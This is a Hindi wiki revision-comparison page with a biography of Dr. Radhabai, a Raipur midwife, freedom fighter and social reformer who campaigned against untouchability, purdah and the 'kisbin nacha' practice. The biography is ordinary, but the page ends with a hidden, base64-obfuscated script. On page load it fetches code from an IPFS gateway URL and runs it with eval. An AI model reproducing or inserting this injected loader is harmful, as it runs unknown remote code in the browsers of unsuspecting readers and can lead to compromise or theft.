डॉ. राधाबाई: Difference between revisions
[unchecked revision] | [unchecked revision] |
No edit summary |
|||
Line 44: | Line 44: | ||
अस्पृश्यता के विरोध में राधाबाई ने बहुत ही महत्वपूर्ण काम किया था। सफ़ाई कामगारों की बस्ती में वे जाती थीं और बस्ती की सफ़ाई किया करती थीं। उनके बच्चों को बड़े प्रेम से नहलाती थीं। उन बच्चों को पढ़ाती थीं। डॉ. राधाबाई धर्म-भेद नहीं मानती थीं। सभी [[धर्म]] के लोग उनके घर में आते थे। [[मुस्लिम]] भाइयों की '[[भाई दूज]]' के दिन वे [[पूजा]] करती थीं और भोजन खुद बनाकर उन्हें खिलाती थीं। | अस्पृश्यता के विरोध में राधाबाई ने बहुत ही महत्वपूर्ण काम किया था। सफ़ाई कामगारों की बस्ती में वे जाती थीं और बस्ती की सफ़ाई किया करती थीं। उनके बच्चों को बड़े प्रेम से नहलाती थीं। उन बच्चों को पढ़ाती थीं। डॉ. राधाबाई धर्म-भेद नहीं मानती थीं। सभी [[धर्म]] के लोग उनके घर में आते थे। [[मुस्लिम]] भाइयों की '[[भाई दूज]]' के दिन वे [[पूजा]] करती थीं और भोजन खुद बनाकर उन्हें खिलाती थीं। | ||
==समाज सुधार कार्य== | ==समाज सुधार कार्य== | ||
जब महात्मा गाँधी 1920 में पहली बार [[रायपुर]] आये, उस वक्त [[धमतरी|धमतरी तहसील]] के कन्डेल नाम के गाँव में [[किसान आन्दोलन|किसान सत्याग्रह]] चल रहा था। गाँधीजी का प्रभाव [[छत्तीसगढ़]] में व्यापक रूप से पड़ा था। डॉ. राधाबाई तब से गाँधीजी द्वारा संचालित सभी आन्दोलनों में आगे रहीं। उस समय रोज़ प्रभातफेरी निकाली जाती थी। खादी बेचने में, [[चरखा]] चलाने में महिलाएँ आगे रहती थीं। महिलाएँ जो एकादशी महात्म्य सुनने के लिये आतीं, वे सब देशहित के बारे में चर्चा करने लगती थीं। डॉ. राधाबाई वहीं चरखा सिखाने बैठ जाती थीं। सब मिलकर गाती- "मेरे चरखे का टूटे न तार, चरखा चालू रहे।" ऐसा करते हुए वे अलग-अलग जगह घूमतीं। उनका मकान जो मोमिनपारा मस्जिद के सामने था, वहाँ और भी बहनें एकत्रित होती थीं- पार्वती बाई, रोहिणी बाई, कृष्ण बाई, सीता बाई, राजकुँवर बाई आदि।<ref name="aa"/> | जब महात्मा गाँधी 1920 में पहली बार [[रायपुर]] आये, उस वक्त [[धमतरी|धमतरी तहसील]] के कन्डेल नाम के गाँव में [[किसान आन्दोलन|किसान सत्याग्रह]] चल रहा था। गाँधीजी का प्रभाव [[छत्तीसगढ़]] में व्यापक रूप से पड़ा था। डॉ. राधाबाई तब से गाँधीजी द्वारा संचालित सभी आन्दोलनों में आगे रहीं। उस समय रोज़ प्रभातफेरी निकाली जाती थी। खादी बेचने में, [[चरखा]] चलाने में महिलाएँ आगे रहती थीं। महिलाएँ जो एकादशी महात्म्य सुनने के लिये आतीं, वे सब देशहित के बारे में चर्चा करने लगती थीं। डॉ. राधाबाई वहीं चरखा सिखाने बैठ जाती थीं। सब मिलकर गाती- "मेरे चरखे का टूटे न तार, चरखा चालू रहे।" ऐसा करते हुए वे अलग-अलग जगह घूमतीं। उनका मकान जो मोमिनपारा [[मस्जिद]] के सामने था, वहाँ और भी बहनें एकत्रित होती थीं- पार्वती बाई, रोहिणी बाई, कृष्ण बाई, सीता बाई, राजकुँवर बाई आदि।<ref name="aa"/> | ||
चरखा | चरखा कातने के बाद वे प्रभातफेरी निकालतीं। [[सत्याग्रह]] की तैयारी करतीं, सफाई टोली निकालतीं, [[पर्दा प्रथा]] रोकने की कोशिश करतीं, सदर बाज़ार का जगन्नाथ मन्दिर बनता सत्याग्रह स्थल। सब जाति की बहनें पर्दा प्रथा के ख़िलाफ़ भाषण देतीं। मारवाड़ी समाज की महिलाएँ जो पर्दा प्रथा के कारण अपने-आप में घुटन महसूस करतीं, वे पूरी कोशिश करतीं इस प्रथा को ख़त्म करने की। [[छत्तीसगढ़]] में पर्दा प्रथा नहीं थी। ब्लाउज़ पहनने की प्रथा भी नहीं थी। अगर कोई पहनती, तो कहा जाता कि नाचने वाली की पोशाक पहन रखी है। [[पण्डित सुंदरलाल शर्मा]] की पत्नी श्रीमती बोधनी बाई ने उनकी प्रेरणा से सबसे पहले ब्लाउज़ पहनना शुरू किया था। धीरे-धीरे सभी महिलाओं ने ब्लाउज़ पहनना शुरू कर दिया। | ||
===='किसबिन नाचा' का अंत==== | ===='किसबिन नाचा' का अंत==== | ||
डॉ. राधाबाई का एक बहुत ही महत्वपूर्ण काम था "वेश्यावृत्ति में लगी बहनों को मुक्ति दिलाना"। उस समय [[छत्तीसगढ़]] के गाँवों और शहरों में सामंतों के यहाँ वेश्याओं का नाच हुआ करता था, जिसमें ' | डॉ. राधाबाई का एक बहुत ही महत्वपूर्ण काम था "वेश्यावृत्ति में लगी बहनों को मुक्ति दिलाना"। उस समय [[छत्तीसगढ़]] के गाँवों और शहरों में सामंतों के यहाँ वेश्याओं का नाच हुआ करता था, जिसमें 'देवदासी प्रथा' और 'मेड़नी प्रथा' प्रमुख थी, इसे [[छत्तीसगढ़ी भाषा]] में "किसबिन नाचा" कहा जाता था। छत्तीसगढ़ के कई स्थानों पर यदा-कदा आज भी यह प्रथा जारी है। "किसबिन नाचा" करने वालों की अलग एक जाति ही बन गई थी। ये लोग अपने ही [[परिवार]] की कुँवारी लड़कियों को 'किसबिन नाचा' के लिये अर्पित करने लगे थे। डॉ. राधाबाई के साथ सभी ने इस प्रथा का विरोध किया और इस प्रथा को खत्म किया। खरोरा नाम के एक गाँव में इस प्रथा की समाप्ति सबसे पहले हुई थी। यहाँ के लोग खेती-बाड़ी करने लगे थे। यह अनोखा परिवर्तन राधाबाई के कारण ही सम्भव हुआ था।<ref name="aa"/> | ||
==निधन== | ==निधन== | ||
[[2 जनवरी]], [[1950]] को डॉ. राधाबाई 75 [[वर्ष]] की आयु में चली बसीं। उनका मकान एक अनाथालय को दे दिया गया। | [[2 जनवरी]], [[1950]] को डॉ. राधाबाई 75 [[वर्ष]] की आयु में चली बसीं। उनका मकान एक अनाथालय को दे दिया गया। |
Revision as of 07:52, 13 June 2015
डॉ. राधाबाई
| |
पूरा नाम | डॉ. राधाबाई |
जन्म | 1875 ई. |
जन्म भूमि | नागपुर, महाराष्ट्र |
मृत्यु | 2 जनवरी, 1950 |
नागरिकता | भारतीय |
प्रसिद्धि | स्वतंत्रता सेनानी तथा समाज सुधारक |
धर्म | हिन्दू |
जेल यात्रा | डॉ. राधाबाई 1930 से 1942 तक हर एक 'सत्याग्रह' में वे भाग लेती रहीं और न जाने कितनी ही बार जेल गईं। |
विशेष योगदान | डॉ. राधाबाई का एक बहुत ही महत्वपूर्ण काम था "वेश्यावृत्ति में लगी बहनों को मुक्ति दिलाना"। |
संबंधित लेख | सत्याग्रह, महात्मा गाँधी, गाँधी युग |
अन्य जानकारी | अस्पृश्यता के विरोध में राधाबाई ने बहुत ही महत्त्वपूर्ण काम किया। सफ़ाई कामगारों की बस्ती में वे जाती थीं। बस्ती की सफ़ाई करतीं, कामगारों के बच्चों को बड़े प्रेम से नहलातीं और बच्चों को पढ़ाती भी थीं। |
डॉ. राधाबाई (अंग्रेज़ी: Dr. Radhabai, जन्म- 1875 ई., नागपुर, महाराष्ट्र; मृत्यु- 2 जनवरी, 1950) प्रसिद्ध महिला स्वतंत्रता सेनानी तथा समाज सुधारकों में से एक थीं। वे राष्ट्रपिता महात्मा गाँधी के सभी आंदोलनों में आगे रहीं। कौमी एकता, स्वदेशी, नारी-जागरण, अस्पृश्यता निवारण, शराबबंदी, इन सभी आन्दोलनों में उनकी भूमिका बहुत ही महत्वपूर्ण रही। समाज में प्रचलित कई कुप्रथाओं को समाप्त करने में भी राधाबाई का योगदान अविस्मरणीय है।
जन्म
राधाबाई का जन्म नागपुर, महाराष्ट्र में सन 1875 ई. में हुआ था। उनका बहुत कम आयु में ही बाल विवाह हो गया था। जब वे मात्र नौं वर्ष की ही थीं, तभी विधवा हो गईं। पड़ोसिन के घर में उन्हें प्यारी-सी सखी मिली, जिसके साथ वे रहने लगीं। उसी के साथ वे हिन्दी सीखने लगीं और साथ ही दाई का काम भी करने लगीं थीं। लेकिन पड़ोसिन सखी भी एक दिन चल बसी। उसके बेटा-बेटी राधाबाई के भाई-बहन बने रहे। किसी को पता भी नहीं चलता था कि वे दूसरे परिवार की हैं।[1]
व्यावसायिक शुरुआत
सन 1918 में राधाबाई रायपुर आईं और और नगरपालिका में दाई का काम करने लगीं। इतने प्रेम और लगन से वे अपना काम करतीं कि सबके लिए माँ बन गई थीं। जन उपाधि के रूप में राधाबाई डॉ. कहलाने लगी थीं। उनके सेवाभाव को देखकर नगरपालिका ने उनके लिए टाँगे-घोड़े का इन्तजाम किया था।
गाँधीजी से प्रभावित
सन 1920 में जब महात्मा गाँधी पहली बार रायपुर आये, तो डॉ. राधाबाई उनसे बहुत प्रभावित हुईं। उनको लगा कि उन्हें पथ-प्रदर्शक मिल गया। सन 1930 से 1942 तक हर एक सत्याग्रह में वे भाग लेती रहीं। न जाने कितनी बार वे जेल गई थीं। जेल के अधिकारी भी उनका आदर करते थे।
अस्पृश्यता का विरोध
अस्पृश्यता के विरोध में राधाबाई ने बहुत ही महत्वपूर्ण काम किया था। सफ़ाई कामगारों की बस्ती में वे जाती थीं और बस्ती की सफ़ाई किया करती थीं। उनके बच्चों को बड़े प्रेम से नहलाती थीं। उन बच्चों को पढ़ाती थीं। डॉ. राधाबाई धर्म-भेद नहीं मानती थीं। सभी धर्म के लोग उनके घर में आते थे। मुस्लिम भाइयों की 'भाई दूज' के दिन वे पूजा करती थीं और भोजन खुद बनाकर उन्हें खिलाती थीं।
समाज सुधार कार्य
जब महात्मा गाँधी 1920 में पहली बार रायपुर आये, उस वक्त धमतरी तहसील के कन्डेल नाम के गाँव में किसान सत्याग्रह चल रहा था। गाँधीजी का प्रभाव छत्तीसगढ़ में व्यापक रूप से पड़ा था। डॉ. राधाबाई तब से गाँधीजी द्वारा संचालित सभी आन्दोलनों में आगे रहीं। उस समय रोज़ प्रभातफेरी निकाली जाती थी। खादी बेचने में, चरखा चलाने में महिलाएँ आगे रहती थीं। महिलाएँ जो एकादशी महात्म्य सुनने के लिये आतीं, वे सब देशहित के बारे में चर्चा करने लगती थीं। डॉ. राधाबाई वहीं चरखा सिखाने बैठ जाती थीं। सब मिलकर गाती- "मेरे चरखे का टूटे न तार, चरखा चालू रहे।" ऐसा करते हुए वे अलग-अलग जगह घूमतीं। उनका मकान जो मोमिनपारा मस्जिद के सामने था, वहाँ और भी बहनें एकत्रित होती थीं- पार्वती बाई, रोहिणी बाई, कृष्ण बाई, सीता बाई, राजकुँवर बाई आदि।[1]
चरखा कातने के बाद वे प्रभातफेरी निकालतीं। सत्याग्रह की तैयारी करतीं, सफाई टोली निकालतीं, पर्दा प्रथा रोकने की कोशिश करतीं, सदर बाज़ार का जगन्नाथ मन्दिर बनता सत्याग्रह स्थल। सब जाति की बहनें पर्दा प्रथा के ख़िलाफ़ भाषण देतीं। मारवाड़ी समाज की महिलाएँ जो पर्दा प्रथा के कारण अपने-आप में घुटन महसूस करतीं, वे पूरी कोशिश करतीं इस प्रथा को ख़त्म करने की। छत्तीसगढ़ में पर्दा प्रथा नहीं थी। ब्लाउज़ पहनने की प्रथा भी नहीं थी। अगर कोई पहनती, तो कहा जाता कि नाचने वाली की पोशाक पहन रखी है। पण्डित सुंदरलाल शर्मा की पत्नी श्रीमती बोधनी बाई ने उनकी प्रेरणा से सबसे पहले ब्लाउज़ पहनना शुरू किया था। धीरे-धीरे सभी महिलाओं ने ब्लाउज़ पहनना शुरू कर दिया।
'किसबिन नाचा' का अंत
डॉ. राधाबाई का एक बहुत ही महत्वपूर्ण काम था "वेश्यावृत्ति में लगी बहनों को मुक्ति दिलाना"। उस समय छत्तीसगढ़ के गाँवों और शहरों में सामंतों के यहाँ वेश्याओं का नाच हुआ करता था, जिसमें 'देवदासी प्रथा' और 'मेड़नी प्रथा' प्रमुख थी, इसे छत्तीसगढ़ी भाषा में "किसबिन नाचा" कहा जाता था। छत्तीसगढ़ के कई स्थानों पर यदा-कदा आज भी यह प्रथा जारी है। "किसबिन नाचा" करने वालों की अलग एक जाति ही बन गई थी। ये लोग अपने ही परिवार की कुँवारी लड़कियों को 'किसबिन नाचा' के लिये अर्पित करने लगे थे। डॉ. राधाबाई के साथ सभी ने इस प्रथा का विरोध किया और इस प्रथा को खत्म किया। खरोरा नाम के एक गाँव में इस प्रथा की समाप्ति सबसे पहले हुई थी। यहाँ के लोग खेती-बाड़ी करने लगे थे। यह अनोखा परिवर्तन राधाबाई के कारण ही सम्भव हुआ था।[1]
निधन
2 जनवरी, 1950 को डॉ. राधाबाई 75 वर्ष की आयु में चली बसीं। उनका मकान एक अनाथालय को दे दिया गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 1.2 डॉ. राधाबाई : स्वतंत्रता सेनानी (हिन्दी) इग्निका। अभिगमन तिथि: 12 जून, 2015।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>